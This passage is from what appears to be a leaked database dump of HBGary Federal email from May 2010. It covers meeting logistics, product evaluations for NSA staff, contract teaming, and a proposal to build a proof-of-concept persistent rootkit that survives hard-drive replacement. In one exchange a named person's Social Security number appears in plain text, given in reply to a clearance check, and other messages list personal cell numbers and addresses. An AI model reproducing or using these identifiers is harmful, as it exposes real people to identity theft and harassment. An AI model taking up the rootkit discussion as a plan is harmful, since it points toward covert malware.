Lunch tomorrow.','Wednesday looks good. \r\nAre you in Arlington? We could hit up Ray\'s Hellburger.\r\n\r\n	-Irby\r\n\r\n\r\nOn May 3, 2010, at 9:35 AM, Aaron Barr wrote:\r\n\r\n> want to shoot for Wednesday?\r\n> Aaron\r\n> \r\n> On Apr 29, 2010, at 4:33 PM, Irby Thompson wrote:\r\n> \r\n>> Next Monday-Thursday is looking pretty good.\r\n>> \r\n>> 	-Irby\r\n>> \r\n>> \r\n>> On Apr 29, 2010, at 3:44 PM, Aaron Barr wrote:\r\n>> \r\n>>> Hey sorry I got confused or confused u not sure which.  I have a customer meeting up in MD and can\'t get back down until about 3pm.  Want to  get together then or maybe a good time next week would be better?\r\n>>> \r\n>>> Aaron\r\n>>> On Apr 29, 2010, at 11:55 AM, Irby Thompson wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> I am in Huntsville today, but should get back late tonight. I think we\'ll be good for lunch tomorrow, can we touch base in the morning?\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> On Apr 28, 2010, at 9:51 PM, Aaron Barr  wrote:\r\n>>>> \r\n>>>>> Hey Irby,\r\n>>>>> \r\n>>>>> Hows your Friday look?\r\n>>>>> \r\n>>>>> I have been in discussions with Paul.  We signed a TA with them last week.  I talked about our team for Cyber Genome.  Lets discuss when we get together.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> On Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n>>>>> \r\n>>>>>> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n>>>>>> \r\n>>>>>> Also, have you been in discussions with Paul Rooney from CSC?\r\n>>>>>> \r\n>>>>>> Regards,\r\n>>>>>> Irby\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Irby,\r\n>>>>>>> \r\n>>>>>>> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>>>>>>> \r\n>>>>>>>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>>>>>>>> \r\n>>>>>>>>    -irby\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>>>>>>> \r\n>>>>>>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>>>>>>>> \r\n>>>>>>>>> Aaron\r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>>>>>>> \r\n>>>>>>>>>> Aaron,\r\n>>>>>>>>>> \r\n>>>>>>>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>>>>>>>> \r\n>>>>>>>>>> -Irby\r\n>>>>>>>>> \r\n>>>>>>>>> Aaron Barr\r\n>>>>>>>>> CEO\r\n>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',2435,'aaron_hbgary_com/2435.html'),(5906,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004289.M269052P14101Q761.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Evaluating HBGary Software','It is OK with me if Fed builds a mini TMC.  It is going to be up to Greg to\r\nprovide you the components and know-how to do it.  He may require your guy\r\nto go to Sac.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 9:49 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Evaluating HBGary Software\r\n\r\nOK.  Can HBGary Federal put together a \"mini\" TMC.  At a minimum I think\r\nMatt is willing to spend $60K, we can probably get him up a bit from that.\r\nIt seems a shame to leave money on the table.\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 9:37 AM, Bob Slapnik wrote:\r\n\r\n> Yes, NSA could write the script themselves.  I\'d like to give them a\r\nscript\r\n> that approximates what they would want to do so they get it done faster.\r\n> Also, the command line has no documentation, so the starter script is a\r\nway\r\n> for them to see and figure out how it works.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, May 03, 2010 8:19 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Evaluating HBGary Software\r\n> \r\n> yep I think that would be a good exercise.  But couldn\'t the NSA folks do\r\n> this themselves?  Could they without having any source write a wrapper\r\n> around Responder that did the same thing using the command line.\r\n> \r\n> Aaron\r\n> \r\n> On May 1, 2010, at 8:41 PM, Bob Slapnik wrote:\r\n> \r\n> \r\n> \r\n> The key is for Bob Nissen and the guy sitting next to him say Responder\r\nPro\r\n> is good.  Bob said he has too many malware to analyze and he has lower\r\n> skilled people who need better tools.  Responder has evolved to a point\r\n> where it is truly excellent and useful, even to pet rock guys.  He will\r\n> either see that or he won\'t.\r\n> \r\n> As for TMC, Greg said that if they only want one TMC node then they don\'t\r\n> need TMC, they can just use one license of Responder, albeit in a clumsy\r\n> way.  Greg said it would take about an hour for an HBGary engineer to use\r\n> ITHC to write a script to grab malware one by one from a directory, create\r\na\r\n> project, run it inside of a REcon/VM, snapshot memory, run DDNA, print\r\n> report, close the project, then repeat for each malware.\r\n> \r\n> Hey, how about having your HBG Fed guy try his hand at this?  It would\r\ntake\r\n> him longer but he\'d get schooled on the product.\r\n> \r\n> \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, May 01, 2010 7:16 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: Evaluating HBGary Software\r\n> \r\n> ok.  I am going to follow up with Matt Bodman on Monday.  I will call you\r\n> before I call him.\r\n> \r\n> Aaron\r\n> \r\n> On May 1, 2010, at 6:52 PM, Bob Slapnik wrote:\r\n> \r\n> \r\n> Aaron,\r\n> \r\n> I sent this email to Bob Nissen.\r\n> \r\n> Bob\r\n> \r\n> \r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Saturday, May 01, 2010 6:52 PM\r\n> To: \'r.nissen@radium.ncsc.mil\'\r\n> Subject: Evaluating HBGary Software\r\n> \r\n> Bob,\r\n> \r\n> Good to see you on Friday.  We discussed the next step being your\r\nevaluation\r\n> of Responder Professional.  It has all of the main components within the\r\n> Threat Monitoring System - Digital DNA for binary scoring, REcon for\r\nruntime\r\n> tracing, and memory forensics - albeit in a standalone system.\r\n> Additionally, Responder Pro has a suite of binary analysis capabilities.\r\n> \r\n> I recommend that you start your usage of Responder Pro via its user\r\n> interface so you learn about what it does and how it works. \r\n> Then if you want to analyze a number of binaries in an automated,\r\nunattended\r\n> fashion you can use the command line interface called Inspector Test\r\nHarness\r\n> Client (ITHC).  Let me know when you are ready to use ITHC and I\'ll have\r\none\r\n> of my engineers send you a plug-in script.\r\n> \r\n> Here is how to download the Responder eval software (includes the Digital\r\n> DNA and REcon modules).  Please feel free to forward this email to others\r\nso\r\n> they can evaluate it also.\r\n> \r\n> - Go to www.hbgary.com\r\n> - Click on Register (upper right corner) to create an account (fill in the\r\n> form)\r\n> - Send an email to bob@hbgary.com and support@hbgary.com to request the\r\neval\r\n> software.  One of us will manually enable your account and send you an\r\nemail\r\n> that you can proceed with the download.\r\n> - Click on PORTAL\r\n> - On the portal page click on My Downloads\r\n> - Download the software, install it and run it.\r\n> - Send the Machine ID to bob@hbgary.com and support@hbgary.com, then we\r\nwill\r\n> send you a 14-day eval key.\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/01/10\r\n> 14:27:00\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2851 - Release Date: 05/03/10\r\n02:27:00\r\n\r\n',14216,'aaron_hbgary_com/14216.html'),(5907,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004289.M495471P14101Q762.eml','\"Jerry M Bodman\" <jmbodma@nsa.gov>','Feedback','Hi Matt,\r\n\r\nHow do you think the meeting went on Friday? (other than us being late, which I feel very bad for, sorry again).  I was talking with Bob after the meeting and trying to work out something that fits your specific requirements.  When we initially built the TMC it was built to process large volumes of Malware.  Your numbers are far less than what we originally built it for.  For the numbers you talked about we could put in some development hours and customize a single instance of Responder Pro to batch process files in a directory.  This is not very scalable but would work for the time being to get you started.  Let me know.  The cost for this would just be a single copy of Responder Pro and some engineering hours for batch processing.\r\n\r\nThe number you had, $60K was a number I mentioned to you, caveating that I am not the sales guy.  Bob was thinking slightly more than that for a base system, because he is thinking in the context of what it was designed for which is more malware.  To turn it into a customer solution right now takes a little more product development time (cost), its on our roadmap but behind the completion of active defense (based on overall customer need).  So to purchase a small system right now would cost a little more.\r\n\r\nSo assuming the eval of DDNA goes well, we can work something out that meets your needs as best we can.  Let me know how you want to proceed.  Its important to me to get our technology working in your environment.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1433,'aaron_hbgary_com/1433.html'),(5908,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004289.M734477P14101Q763.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Lunch tomorrow.','Sounds good.  12pm?\r\nAaron\r\n\r\nOn May 3, 2010, at 10:18 AM, Irby Thompson wrote:\r\n\r\n> Wednesday looks good. \r\n> Are you in Arlington? We could hit up Ray\'s Hellburger.\r\n> \r\n> 	-Irby\r\n> \r\n> \r\n> On May 3, 2010, at 9:35 AM, Aaron Barr wrote:\r\n> \r\n>> want to shoot for Wednesday?\r\n>> Aaron\r\n>> \r\n>> On Apr 29, 2010, at 4:33 PM, Irby Thompson wrote:\r\n>> \r\n>>> Next Monday-Thursday is looking pretty good.\r\n>>> \r\n>>> 	-Irby\r\n>>> \r\n>>> \r\n>>> On Apr 29, 2010, at 3:44 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hey sorry I got confused or confused u not sure which.  I have a customer meeting up in MD and can\'t get back down until about 3pm.  Want to  get together then or maybe a good time next week would be better?\r\n>>>> \r\n>>>> Aaron\r\n>>>> On Apr 29, 2010, at 11:55 AM, Irby Thompson wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> \r\n>>>>> I am in Huntsville today, but should get back late tonight. I think we\'ll be good for lunch tomorrow, can we touch base in the morning?\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On Apr 28, 2010, at 9:51 PM, Aaron Barr  wrote:\r\n>>>>> \r\n>>>>>> Hey Irby,\r\n>>>>>> \r\n>>>>>> Hows your Friday look?\r\n>>>>>> \r\n>>>>>> I have been in discussions with Paul.  We signed a TA with them last week.  I talked about our team for Cyber Genome.  Lets discuss when we get together.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> On Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n>>>>>> \r\n>>>>>>> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n>>>>>>> \r\n>>>>>>> Also, have you been in discussions with Paul Rooney from CSC?\r\n>>>>>>> \r\n>>>>>>> Regards,\r\n>>>>>>> Irby\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n>>>>>>> \r\n>>>>>>>> Irby,\r\n>>>>>>>> \r\n>>>>>>>> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n>>>>>>>> Aaron\r\n>>>>>>>> \r\n>>>>>>>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>>>>>>>> \r\n>>>>>>>>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>>>>>>>>> \r\n>>>>>>>>>   -irby\r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>>>>>>>> \r\n>>>>>>>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>>>>>>>>> \r\n>>>>>>>>>> Aaron\r\n>>>>>>>>>> \r\n>>>>>>>>>> \r\n>>>>>>>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>>>>>>>> \r\n>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> -Irby\r\n>>>>>>>>>> \r\n>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>> CEO\r\n>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11767,'aaron_hbgary_com/11767.html'),(5909,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004289.M955640P14101Q764.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Task M','Hi Greg,\r\n\r\nGD AIS would like us to team with them on Task M, which focuses on\r\ndeveloping a proof-of-concept persistent rootkit.  Ideally they would\r\nlike something that could persist even if the HD is replaced.  I have\r\nsome experience leading an EFI based solution.  Clearhat has some\r\nideas involving peripheral firmware.  Do you have some time later this\r\nweek to noodle on ideas with clearhat on the phone, so we can put\r\ntogether a proposal story?\r\n\r\nTed\r\n',8362,'aaron_hbgary_com/8362.html'),(5910,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004290.M181046P14101Q765.eml','\"Van Buren, Karen\" <kvanbure@harris.com>','Re: DARPA Cyber Genome project','Hi Karen,We never followed up on this. &nbsp;Would you still like to get together?AaronOn Feb 23, 2010, at 5:53 PM, Van Buren, Karen wrote:Aaron,After thoughtful consideration, we have decided that the MITRE MAEC white paper mirrors our approach for technical area one and have decided to no bid that area.&nbsp; Let\'s keep the communication open and try to collaborate on opportunities as they arise in the near future.&nbsp; It was great meeting you.&nbsp; I would still like to get an NDA in place and talk with you about our capabilities and yours.&nbsp; Please let me know if that is still god for you.Regards, Karen&nbsp;&nbsp;Karen K. Van BurenSenior Program ManagerHarris Corporation Crucial Security Programs14900 Conference Center Drive, Suite 225Chantilly, VA 20151703.961.9456 x247 (office)703.774.6583 (cell)703.961.9459 (fax)karen.vanburen@harris.com&lt;Picture (Device Independent Bitmap) 1.jpg&gt;&nbsp;&nbsp;&nbsp;&lt;Picture (Device Independent Bitmap) 1.jpg&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13814,'aaron_hbgary_com/13814.html'),(5911,'2010-05-03','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004290.M426048P14101Q766.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch tomorrow.','Will plan to see you at 12PM Wednesday at Ray\'s Hellburger in Arlington.\r\nMy cellphone is 202.341.5999.\r\n\r\n	-irby\r\n\r\n\r\nOn May 3, 2010, at 10:30 AM, Aaron Barr wrote:\r\n\r\n> Sounds good.  12pm?\r\n> Aaron\r\n> \r\n> On May 3, 2010, at 10:18 AM, Irby Thompson wrote:\r\n> \r\n>> Wednesday looks good. \r\n>> Are you in Arlington? We could hit up Ray\'s Hellburger.\r\n>> \r\n>> 	-Irby\r\n>> \r\n>> \r\n>> On May 3, 2010, at 9:35 AM, Aaron Barr wrote:\r\n>> \r\n>>> want to shoot for Wednesday?\r\n>>> Aaron\r\n>>> \r\n>>> On Apr 29, 2010, at 4:33 PM, Irby Thompson wrote:\r\n>>> \r\n>>>> Next Monday-Thursday is looking pretty good.\r\n>>>> \r\n>>>> 	-Irby\r\n>>>> \r\n>>>> \r\n>>>> On Apr 29, 2010, at 3:44 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Hey sorry I got confused or confused u not sure which.  I have a customer meeting up in MD and can\'t get back down until about 3pm.  Want to  get together then or maybe a good time next week would be better?\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> On Apr 29, 2010, at 11:55 AM, Irby Thompson wrote:\r\n>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> \r\n>>>>>> I am in Huntsville today, but should get back late tonight. I think we\'ll be good for lunch tomorrow, can we touch base in the morning?\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Apr 28, 2010, at 9:51 PM, Aaron Barr  wrote:\r\n>>>>>> \r\n>>>>>>> Hey Irby,\r\n>>>>>>> \r\n>>>>>>> Hows your Friday look?\r\n>>>>>>> \r\n>>>>>>> I have been in discussions with Paul.  We signed a TA with them last week.  I talked about our team for Cyber Genome.  Lets discuss when we get together.\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> On Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n>>>>>>> \r\n>>>>>>>> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n>>>>>>>> \r\n>>>>>>>> Also, have you been in discussions with Paul Rooney from CSC?\r\n>>>>>>>> \r\n>>>>>>>> Regards,\r\n>>>>>>>> Irby\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Irby,\r\n>>>>>>>>> \r\n>>>>>>>>> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n>>>>>>>>> Aaron\r\n>>>>>>>>> \r\n>>>>>>>>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>>>>>>>>> \r\n>>>>>>>>>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>>>>>>>>>> \r\n>>>>>>>>>>  -irby\r\n>>>>>>>>>> \r\n>>>>>>>>>> \r\n>>>>>>>>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>>>>>>>>> \r\n>>>>>>>>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Aaron\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> \r\n>>>>>>>>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>>>>>>>>> \r\n>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>> \r\n>>>>>>>>>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>>>>>>>>>> \r\n>>>>>>>>>>>> -Irby\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>> CEO\r\n>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>> \r\n>>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> Aaron Barr\r\n>>>>>>>>> CEO\r\n>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',10118,'aaron_hbgary_com/10118.html'),(5912,'2010-05-03','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297004290.M658725P14101Q767.eml','\"Ted Vera\" <ted@hbgary.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,','RE: Demo','\r\nYou guys totally rock.  We really appreciate all the hard work you guys\r\nhave been doing and we are elated to have such a great working\r\nrelationship.  Please know we are overtly advertising you guys as a key\r\nintegral part of the team and giving you the kudos you guys so deserve.\r\nSorry if my enthusiasm sometimes seems lackluster in real time, but\r\nplease know that it is simply an artifact of my focus to understand and\r\nget things working on my end! :) \r\n\r\nI hope your daughters party went well.  Thanks for supporting the call.\r\nIronically on demo day today, it happens to be my son\'s birthday so I\'m\r\nhoping this goes quickly and with great success so I can get to Chuck E\r\nCheese! \r\n\r\nI\'ll keep you posted. \r\n\r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, May 03, 2010 7:02 AM\r\nTo: Thompson, Bill M.\r\nSubject: Demo\r\n\r\nGood luck today Bill, we are eager to hear how it goes.\r\n\r\nTed\r\n',15213,'aaron_hbgary_com/15213.html'),(5913,'2010-05-03','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004291.M23355P14101Q768.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Checking on your clearance','\r\n\r\n\r\n\r\n\r\nChecking on your clearance\r\n\r\n\r\n\r\n\r\nCan you send me your SSN?\r\n\r\nThanks,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1270,'aaron_hbgary_com/1270.html'),(5914,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004291.M296184P14101Q769.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Checking on your clearance','534783155On May 3, 2010, at 11:39 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\nCan you send me your SSN?Thanks,IrvIrving Lachow, Ph.D.Director, Cyber ProgramsSpecial Capabilities OfficeNIPR: irving.lachow@osd.milSIPR: irving.lachow@osd.smil.milJWICS: irving.lachow@osdj.ic.govOffice:&nbsp; (703) 746-1226Cell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13105,'aaron_hbgary_com/13105.html'),(5915,'2010-05-03','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004291.M573301P14101Q770.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking on your clearance','Thanks.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 11:40 AM\r\nTo: Lachow, Irving Mr OSD ATL\r\nSubject: Re: Checking on your clearance\r\n\r\n534783155\r\n\r\nOn May 3, 2010, at 11:39 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n\r\n	Can you send me your SSN?\r\n\r\n	Thanks,\r\n\r\n	Irv\r\n\r\n	Irving Lachow, Ph.D.\r\n\r\n	Director, Cyber Programs\r\n\r\n	Special Capabilities Office\r\n\r\n	NIPR: irving.lachow@osd.mil\r\n\r\n	SIPR: irving.lachow@osd.smil.mil\r\n\r\n	JWICS: irving.lachow@osdj.ic.gov\r\n\r\n	Office:  (703) 746-1226\r\n\r\n	Cell:  (202) 556-0591\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5954,'aaron_hbgary_com/5954.html'),(5916,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004291.M815612P14101Q771.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Guardian','Begin forwarded message:From: &quot;Konkel, Theodore&quot; &lt;tkonkel@harris.com&gt;\r\nDate: May 3, 2010 9:42:54 AM MDTTo: &quot;Reis, James&quot; &lt;jreis@harris.com&gt;Cc: &lt;ted@hbgary.com&gt;Subject: FW: Guardian\r\nHi Jim,This is from an old friend of mine, who is now the president of thecyber security company HBGary. Yeah, I&#39;m running in those circles\r\nnow:-). Any idea what he is talking about? I can&#39;t find a reference toit in any press releases, or on a search of the company intranet.Thanks,Ted\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Friday, April 30, 2010 11:41 AMTo: Konkel, Theodore\r\nSubject: GuardianHi Ted,I just heard that Harris won the Guardian contract with AF ISR in SanAntonio. Can you provide me with an email introduction to the PM?\r\nHope all is well,Ted\r\n',11695,'aaron_hbgary_com/11695.html'),(5917,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004292.M20534P14101Q772.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: USDA','Hi Alex,\r\n\r\nHow is either Thursday or Friday for Lunch?\r\n\r\nAaron\r\n\r\nOn Apr 29, 2010, at 3:43 PM, Nieves, Alexander wrote:\r\n\r\n> Sure let\'s get some lunch next week\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Apr 29, 2010, at 2:52 PM, \"Aaron Barr\"  wrote:\r\n> \r\n>> Hi Alex,\r\n>> \r\n>> Curious if you are leading your response to the USDA RFP for cybersecurity?  Is it worth a conversation of how we might be able to help?  We are in the process of implemented our Threat Management Center at NSA to assist in threat identification and malware processing, might help USDA as well.  Active Defense product is also working well which manages malware identification on the endpoints.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10169,'aaron_hbgary_com/10169.html'),(5918,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004301.M559581P14101Q773.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: ostmm model for pen testings','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Shane Shook \r\n> Date: April 29, 2010 4:36:35 PM EDT\r\n> To: Aaron Barr \r\n> Subject: ostmm model for pen testings\r\n> \r\n> The version 3.0 is in draft but this is the operable model.\r\n>  \r\n> - Shane\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4539,'aaron_hbgary_com/4539.html'),(5919,'2010-05-03','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1297004302.M586064P14101Q774.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: USDA','Friday will work for me. I have a meeting at 1:30 in Tyson area so if  \r\nwe can meet before that it would be great.\r\n\r\nSent from my iPhone\r\n\r\nOn May 3, 2010, at 11:52 AM, \"Aaron Barr\"  wrote:\r\n\r\n> Hi Alex,\r\n>\r\n> How is either Thursday or Friday for Lunch?\r\n>\r\n> Aaron\r\n>\r\n> On Apr 29, 2010, at 3:43 PM, Nieves, Alexander wrote:\r\n>\r\n>> Sure let\'s get some lunch next week\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Apr 29, 2010, at 2:52 PM, \"Aaron Barr\"  wrote:\r\n>>\r\n>>> Hi 